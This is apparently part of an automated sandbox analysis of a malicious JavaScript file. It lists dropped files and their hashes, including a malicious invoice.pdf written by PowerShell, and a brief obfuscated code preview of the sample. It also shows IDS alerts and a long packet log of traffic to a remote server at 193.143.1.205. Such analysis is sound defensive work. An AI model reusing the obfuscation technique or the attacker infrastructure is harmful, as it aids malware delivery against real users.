Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c6ed0f6a-6d01-4946-b369-56f519f17ab0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cfac6e6f-6e4a-426e-b748-f09db7ec3664.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15776), with CRLF line terminators
Entropy (8bit):	4.900294826964721
TrID:
File name:	6164687600716519.js
File size:	19'267 bytes
MD5:	2f94a4589b250893b3e0f714dbe9ddcc
SHA1:	3326ca3e4902b389cb32ac7d3e3d36f008387f30
SHA256:	36e26604cab2ed3b251742054752b274633380f64b0ece1ee3172a6c2f072e33
SHA512:	6eb50f699f6e1e31dbd68f78c159b04b0c51647128b56d4c345d820af21ba3733da1317a62953da66fb8c27b722c49a56169f0d66e74558a17d67f5bc2601821
SSDEEP:	384:uME6VQ5d0K4FIIbidPbWosbWonfyMPG34DwVILc2WodcvLyqTMjWr+TSPqpZ4YWj:uM/2YFfyMPGoDwVIoodcvoWrpqpZ4YWj
TLSH:	358273DA0782CFA589F064786AC382616498C54C1560D6A7CE9DA0F1533DEFAB3CD9BC
File Content Preview:	function jbowxwgm(){abvklmz=[1031,3079,5127,4103,2055,3072];var iyeimdc=this[uvmbs+lijyywr+refmrc+beybaey+hpipc+yjpfmdhk+uvucxf+gkdyzzvfz](this[aqhbcms+kuytpap+jnnqwuop+refmrc+rcpvwccs+uvmbs+gkdyzzvfz][ioqyykbxc+refmrc+hpipc+lijyywr+gkdyzzvfz+hpipc+menden

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:40:05.071550+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49760	193.143.1.205	80	TCP
2025-01-10T17:40:07.451066+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49776	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:40:04.253165960 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:04.257988930 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:04.258069038 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:04.261127949 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:04.265965939 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071408987 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071427107 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071439981 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071496010 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071508884 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071521997 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071547985 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071549892 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.071549892 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.071559906 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071588993 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.071599960 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.071604013 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071615934 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.071674109 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.122716904 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.122730970 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.122831106 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.122843027 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.122863054 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.122982979 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.201210976 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201222897 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201236010 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201277018 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.201313972 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201328039 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201365948 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.201709986 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201721907 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201734066 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201745033 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201756954 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.201761007 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.201803923 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.201843023 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.202394962 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.202406883 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.202418089 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.202450991 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.202456951 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.202470064 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.202824116 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.203357935 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.203370094 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.203382969 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.203396082 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.203418016 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.203460932 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.213464022 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.215204000 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.247806072 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.247819901 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.247832060 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.247844934 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.247926950 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.248485088 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.291866064 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.291881084 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.292016029 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.326334000 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326358080 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326370001 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326402903 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326421976 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.326471090 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.326610088 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326620102 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326632023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326659918 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.326683998 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326694965 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.326751947 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.327164888 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327203035 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327214956 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327236891 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.327251911 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.327286959 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327299118 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327357054 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.327378988 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327390909 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.327558041 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.328222990 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328242064 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328253984 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328263044 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328274965 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328284979 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328305006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.328305006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.328349113 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.328843117 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328901052 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328912020 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328975916 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328985929 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.328988075 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.328998089 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329009056 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329049110 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.329813957 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329833984 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329873085 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329884052 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329914093 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.329974890 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329986095 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.329997063 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.330014944 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.330106020 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.330770969 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.330815077 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.330827951 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.331248045 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.348419905 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.348551035 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.373955965 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.373976946 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.373996019 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.374010086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.374023914 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.374036074 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.374037027 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.374075890 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.374106884 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.374119997 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.374156952 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.374205112 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.417964935 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.417979002 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.417989969 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.418210030 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451081991 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451093912 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451105118 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451117039 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451128960 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451159000 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451159000 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451301098 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451318979 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451328993 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451332092 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451359034 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451379061 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451414108 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451760054 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451772928 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451783895 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451797009 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451808929 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451822042 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451827049 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451869965 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451869965 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.451963902 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.451977015 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452035904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.452088118 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452100992 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452111959 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452162981 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.452342987 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452354908 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452368021 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452379942 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452394009 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452404976 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452413082 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452421904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.452421904 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.452721119 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.452914000 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452924967 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452938080 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452959061 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452970982 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.452980995 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.452986956 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453006983 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453021049 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453023911 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453042984 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453053951 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453089952 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453624010 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453636885 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453649998 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453690052 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453691006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453691006 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453702927 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453715086 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453855991 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453859091 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453871965 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453883886 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453896999 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453911066 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.453924894 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453948975 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.453948975 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.454524994 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454557896 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454571009 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454608917 CET	49760	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:40:05.454617023 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454631090 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454643011 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454657078 CET	80	49760	193.143.1.205	192.168.2.11
Jan 10, 2025 17:40:05.454670906 CET	80	49760	193.143.1.205	192.168.2.11
